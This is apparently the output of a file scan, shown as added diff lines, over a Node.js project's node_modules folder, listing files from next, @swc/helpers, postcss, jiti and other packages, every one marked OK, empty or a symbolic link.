+/scan/node_modules/next/node_modules/@swc/helpers/_/_async_generator_delegate/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_extends/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_assert_this_initialized/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_private_field_update/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_class_apply_descriptor_set/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_await_value/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_type_of/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_is_native_reflect_construct/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_update/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/_/_array_like_to_array/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/package.json: OK
+/scan/node_modules/next/node_modules/@swc/helpers/scripts/ast_grep.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/scripts/build.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/scripts/errors.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/scripts/utils.js: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_static_private_field_spec_set.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_private_method_get.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_defaults.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_private_field_get.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_ts_generator.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_interop_require_default.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_type_of.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_private_field_init.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_call_check.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_extract_field_descriptor.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_static_private_field_update.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_ts_values.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_wrap_async_generator.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_check_private_static_field_descriptor.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_decorate.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_iterable_to_array_limit.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_throw.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_apply_descriptor_set.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_initializer_warning_helper.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_array_like_to_array.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_private_field_update.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_ts_param.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_get_prototype_of.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_get.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_await_async_generator.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_async_generator_delegate.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_interop_require_wildcard.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_to_property_key.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_super_prop_base.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_array_with_holes.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_private_method_init.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_check_private_redeclaration.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_private_field_destructure.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_construct.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_ts_decorate.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_array_without_holes.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_unsupported_iterable_to_array.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_async_to_generator.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_apply_descriptor_destructure.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_await_value.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_to_consumable_array.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_tagged_template_literal.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_non_iterable_rest.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_object_spread.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_set_prototype_of.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_skip_first_generator_next.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_export_star.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_static_private_method_get.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_assert_this_initialized.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_async_iterator.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_apply_descriptor_get.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_inherits.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_is_native_function.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_create_class.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_possible_constructor_return.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_create_for_of_iterator_helper_loose.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_apply_decorated_descriptor.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_to_primitive.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_async_generator.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_update.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_define_enumerable_properties.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_instanceof.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_object_destructuring_empty.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_inherits_loose.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_object_spread_props.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_private_method_set.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/index.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_static_private_field_spec_get.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_is_native_reflect_construct.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_using.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_object_without_properties.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_iterable_to_array.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_private_field_set.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_non_iterable_spread.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_name_tdz_error.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_iterable_to_array_limit_loose.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_object_without_properties_loose.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_apply_decs_2203_r.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_apply_descriptor_update.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_create_super.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_tagged_template_literal_loose.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_static_private_field_destructure.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_read_only_error.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_extends.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_check_private_static_access.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_new_arrow_check.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_initializer_define_property.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_define_property.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_sliced_to_array_loose.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_jsx.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_to_array.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_ts_metadata.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_private_field_loose_base.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_class_private_field_loose_key.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_sliced_to_array.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_dispose.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_wrap_native_super.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_write_only_error.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/src/_set.mjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_type_of.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_interop_require_default.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_private_field_get.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_ts_generator.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_static_private_field_spec_set.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_defaults.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_private_method_get.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_check_private_static_field_descriptor.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_throw.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_iterable_to_array_limit.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_decorate.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_initializer_warning_helper.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_apply_descriptor_set.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_ts_values.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_wrap_async_generator.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_static_private_field_update.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_private_field_init.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_call_check.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_extract_field_descriptor.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_private_method_init.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_check_private_redeclaration.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_construct.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_private_field_destructure.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_async_generator_delegate.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_to_property_key.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_interop_require_wildcard.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_super_prop_base.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_array_with_holes.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_get.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_await_async_generator.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_private_field_update.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_array_like_to_array.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_ts_param.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_get_prototype_of.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_skip_first_generator_next.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_set_prototype_of.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_export_star.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_non_iterable_rest.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_object_spread.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_apply_descriptor_destructure.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_await_value.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_tagged_template_literal.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_to_consumable_array.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_ts_decorate.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_array_without_holes.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_unsupported_iterable_to_array.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_async_to_generator.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_to_primitive.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_async_generator.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_update.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_create_for_of_iterator_helper_loose.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_apply_decorated_descriptor.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_async_iterator.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_apply_descriptor_get.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_inherits.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_is_native_function.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_possible_constructor_return.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_create_class.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_static_private_method_get.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_assert_this_initialized.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_is_native_reflect_construct.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_using.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_object_without_properties.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_iterable_to_array.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_non_iterable_spread.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_private_field_set.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_private_method_set.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/index.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_static_private_field_spec_get.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_object_destructuring_empty.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_inherits_loose.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_object_spread_props.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_define_enumerable_properties.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_instanceof.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_extends.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_check_private_static_access.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_new_arrow_check.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_static_private_field_destructure.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_read_only_error.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_object_without_properties_loose.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_apply_decs_2203_r.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_apply_descriptor_update.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_tagged_template_literal_loose.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_create_super.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_name_tdz_error.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_iterable_to_array_limit_loose.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_set.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_write_only_error.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_wrap_native_super.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_ts_metadata.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_private_field_loose_base.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_class_private_field_loose_key.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_sliced_to_array.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_dispose.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_sliced_to_array_loose.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_jsx.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_to_array.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_initializer_define_property.cjs: OK
+/scan/node_modules/next/node_modules/@swc/helpers/cjs/_define_property.cjs: OK
+/scan/node_modules/next/node_modules/postcss/LICENSE: OK
+/scan/node_modules/next/node_modules/postcss/README.md: OK
+/scan/node_modules/next/node_modules/postcss/package.json: OK
+/scan/node_modules/next/node_modules/postcss/lib/postcss.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/rule.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/lazy-result.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/stringifier.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/stringify.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/css-syntax-error.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/previous-map.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/postcss.d.mts: OK
+/scan/node_modules/next/node_modules/postcss/lib/result.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/at-rule.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/declaration.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/parse.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/warning.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/processor.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/previous-map.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/fromJSON.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/input.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/at-rule.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/stringifier.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/map-generator.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/comment.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/declaration.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/processor.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/list.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/warn-once.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/lazy-result.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/postcss.mjs: OK
+/scan/node_modules/next/node_modules/postcss/lib/comment.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/postcss.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/container.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/stringify.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/document.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/node.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/parse.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/root.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/fromJSON.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/list.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/no-work-result.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/tokenize.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/rule.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/css-syntax-error.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/symbols.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/no-work-result.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/result.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/terminal-highlight.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/warning.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/container.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/parser.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/node.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/root.d.ts: OK
+/scan/node_modules/next/node_modules/postcss/lib/input.js: OK
+/scan/node_modules/next/node_modules/postcss/lib/document.js: OK
+/scan/node_modules/next/dynamic.d.ts: OK
+/scan/node_modules/next/legacy/image.js: OK
+/scan/node_modules/next/legacy/image.d.ts: OK
+/scan/node_modules/next/config.js: OK
+/scan/node_modules/next/error.js: OK
+/scan/node_modules/next/README.md: OK
+/scan/node_modules/next/script.js: OK
+/scan/node_modules/next/web-vitals.d.ts: OK
+/scan/node_modules/next/headers.js: OK
+/scan/node_modules/next/document.d.ts: OK
+/scan/node_modules/next/headers.d.ts: OK
+/scan/node_modules/next/router.js: OK
+/scan/node_modules/next/navigation.js: OK
+/scan/node_modules/next/package.json: OK
+/scan/node_modules/next/cache.d.ts: OK
+/scan/node_modules/next/image.js: OK
+/scan/node_modules/next/og.js: OK
+/scan/node_modules/next/babel.js: OK
+/scan/node_modules/next/router.d.ts: OK
+/scan/node_modules/next/font/google/target.css: OK
+/scan/node_modules/next/font/google/index.js: Empty file
+/scan/node_modules/next/font/google/index.d.ts: OK
+/scan/node_modules/next/font/local/target.css: OK
+/scan/node_modules/next/font/local/index.js: Empty file
+/scan/node_modules/next/font/local/index.d.ts: OK
+/scan/node_modules/next/font/index.d.ts: OK
+/scan/node_modules/next/dynamic.js: OK
+/scan/node_modules/next/index.d.ts: OK
+/scan/node_modules/next/link.d.ts: OK
+/scan/node_modules/next/client.d.ts: OK
+/scan/node_modules/next/web-vitals.js: OK
+/scan/node_modules/next/image.d.ts: OK
+/scan/node_modules/next/app.js: OK
+/scan/node_modules/next/head.js: OK
+/scan/node_modules/next/document.js: OK
+/scan/node_modules/.bin/ts-node-script: Symbolic link
+/scan/node_modules/.bin/ts-node-cwd: Symbolic link
+/scan/node_modules/.bin/js-beautify: Symbolic link
+/scan/node_modules/.bin/browserslist: Symbolic link
+/scan/node_modules/.bin/next: Symbolic link
+/scan/node_modules/.bin/jiti: Symbolic link
+/scan/node_modules/.bin/loose-envify: Symbolic link
+/scan/node_modules/.bin/sucrase: Symbolic link
+/scan/node_modules/.bin/tsserver: Symbolic link
+/scan/node_modules/.bin/tsnd: Symbolic link
+/scan/node_modules/.bin/proto-loader-gen-types: Symbolic link
+/scan/node_modules/.bin/autoprefixer: Symbolic link
+/scan/node_modules/.bin/rimraf: Symbolic link
+/scan/node_modules/.bin/resolve: Symbolic link
+/scan/node_modules/.bin/sucrase-node: Symbolic link
+/scan/node_modules/.bin/nanoid: Symbolic link
+/scan/node_modules/.bin/acorn: Symbolic link
+/scan/node_modules/.bin/prettier: Symbolic link
+/scan/node_modules/.bin/turbo: Symbolic link
+/scan/node_modules/.bin/vitest: Symbolic link
+/scan/node_modules/.bin/node-which: Symbolic link
+/scan/node_modules/.bin/baseline-browser-mapping: Symbolic link
+/scan/node_modules/.bin/tsc: Symbolic link
+/scan/node_modules/.bin/prisma: Symbolic link
+/scan/node_modules/.bin/js-yaml: Symbolic link
+/scan/node_modules/.bin/ts-node-dev: Symbolic link
+/scan/node_modules/.bin/ts-node: Symbolic link
+/scan/node_modules/.bin/css-beautify: Symbolic link
+/scan/node_modules/.bin/ts-script: Symbolic link
+/scan/node_modules/.bin/qrcode: Symbolic link
+/scan/node_modules/.bin/tailwind: Symbolic link
+/scan/node_modules/.bin/semver: Symbolic link
+/scan/node_modules/.bin/vite: Symbolic link
+/scan/node_modules/.bin/editorconfig: Symbolic link
+/scan/node_modules/.bin/html-beautify: Symbolic link
+/scan/node_modules/.bin/rollup: Symbolic link
+/scan/node_modules/.bin/update-browserslist-db: Symbolic link
+/scan/node_modules/.bin/ts-node-transpile-only: Symbolic link
+/scan/node_modules/.bin/vite-node: Symbolic link
+/scan/node_modules/.bin/mime: Symbolic link
+/scan/node_modules/.bin/eslint: Symbolic link
+/scan/node_modules/.bin/why-is-node-running: Symbolic link
+/scan/node_modules/.bin/esbuild: Symbolic link
+/scan/node_modules/.bin/fxparser: Symbolic link
+/scan/node_modules/.bin/cssesc: Symbolic link
+/scan/node_modules/.bin/tailwindcss: Symbolic link
+/scan/node_modules/.bin/uuid: Symbolic link
+/scan/node_modules/.bin/ts-node-esm: Symbolic link
+/scan/node_modules/.bin/mkdirp: Symbolic link
+/scan/node_modules/.bin/nopt: Symbolic link
+/scan/node_modules/.bin/tree-kill: Symbolic link
+/scan/node_modules/jiti/LICENSE: OK
+/scan/node_modules/jiti/bin/jiti.js: OK
+/scan/node_modules/jiti/dist/babel.d.ts: OK
+/scan/node_modules/jiti/dist/plugins/babel-plugin-transform-import-meta.d.ts: OK
+/scan/node_modules/jiti/dist/plugins/import-meta-env.d.ts: OK
+/scan/node_modules/jiti/dist/types.d.ts: OK
+/scan/node_modules/jiti/dist/jiti.js: OK
+/scan/node_modules/jiti/dist/utils.d.ts: OK
+/scan/node_modules/jiti/dist/babel.js: OK
+/scan/node_modules/jiti/dist/jiti.d.ts: OK
+/scan/node_modules/jiti/register.js: OK
+/scan/node_modules/jiti/README.md: OK
+/scan/node_modules/jiti/package.json: OK
+/scan/node_modules/jiti/lib/index.js: OK
+/scan/node_modules/@tootallnate/once/LICENSE: OK
+/scan/node_modules/@tootallnate/once/dist/overloaded-parameters.d.ts: OK
+/scan/node_modules/@tootallnate/once/dist/types.js: OK
+/scan/node_modules/@tootallnate/once/dist/types.js.map: OK
+/scan/node_modules/@tootallnate/once/dist/types.d.ts: OK
+/scan/node_modules/@tootallnate/once/dist/index.js: OK
+/scan/node_modules/@tootallnate/once/dist/overloaded-parameters.js.map: OK
+/scan/node_modules/@tootallnate/once/dist/overloaded-parameters.js: OK
+/scan/node_modules/@tootallnate/once/dist/index.js.map: OK
+/scan/node_modules/@tootallnate/once/dist/index.d.ts: OK
+/scan/node_modules/@tootallnate/once/README.md: OK
+/scan/node_modules/@tootallnate/once/package.json: OK
+/scan/node_modules/csstype/LICENSE: OK
+/scan/node_modules/csstype/README.md: OK
+/scan/node_modules/csstype/index.js.flow: OK
+/scan/node_modules/csstype/package.json: OK
+/scan/node_modules/csstype/index.d.ts: OK
+/scan/node_modules/toidentifier/LICENSE: OK
+/scan/node_modules/toidentifier/HISTORY.md: OK
+/scan/node_modules/toidentifier/index.js: OK
+/scan/node_modules/toidentifier/README.md: OK
+/scan/node_modules/toidentifier/package.json: OK
+/scan/node_modules/extend/LICENSE: OK
+/scan/node_modules/extend/CHANGELOG.md: OK
+/scan/node_modules/extend/.eslintrc: OK
+/scan/node_modules/extend/index.js: OK
+/scan/node_modules/extend/.editorconfig: OK
+/scan/node_modules/extend/README.md: OK
+/scan/node_modules/extend/component.json: OK
+/scan/node_modules/extend/package.json: OK
+/scan/node_modules/extend/.jscs.json: OK
+/scan/node_modules/extend/.travis.yml: OK
+/scan/node_modules/mimic-fn/license: OK
+/scan/node_modules/mimic-fn/index.js: OK
+/scan/node_modules/mimic-fn/readme.md: OK
+/scan/node_modules/mimic-fn/package.json: OK
+/scan/node_modules/mimic-fn/index.d.ts: OK
+/scan/node_modules/strip-ansi/license: OK
+/scan/node_modules/strip-ansi/index.js: OK
+/scan/node_modules/strip-ansi/readme.md: OK
+/scan/node_modules/strip-ansi/package.json: OK
+/scan/node_modules/strip-ansi/index.d.ts: OK
+/scan/node_modules/content-type/LICENSE: OK
+/scan/node_modules/content-type/HISTORY.md: OK
+/scan/node_modules/content-type/index.js: OK
+/scan/node_modules/content-type/README.md: OK
+/scan/node_modules/content-type/package.json: OK
+/scan/node_modules/react-is/build-info.json: OK
+/scan/node_modules/react-is/LICENSE: OK
+/scan/node_modules/react-is/umd/react-is.development.js: OK
+/scan/node_modules/react-is/umd/react-is.production.min.js: OK
+/scan/node_modules/react-is/index.js: OK
+/scan/node_modules/react-is/README.md: OK
+/scan/node_modules/react-is/package.json: OK
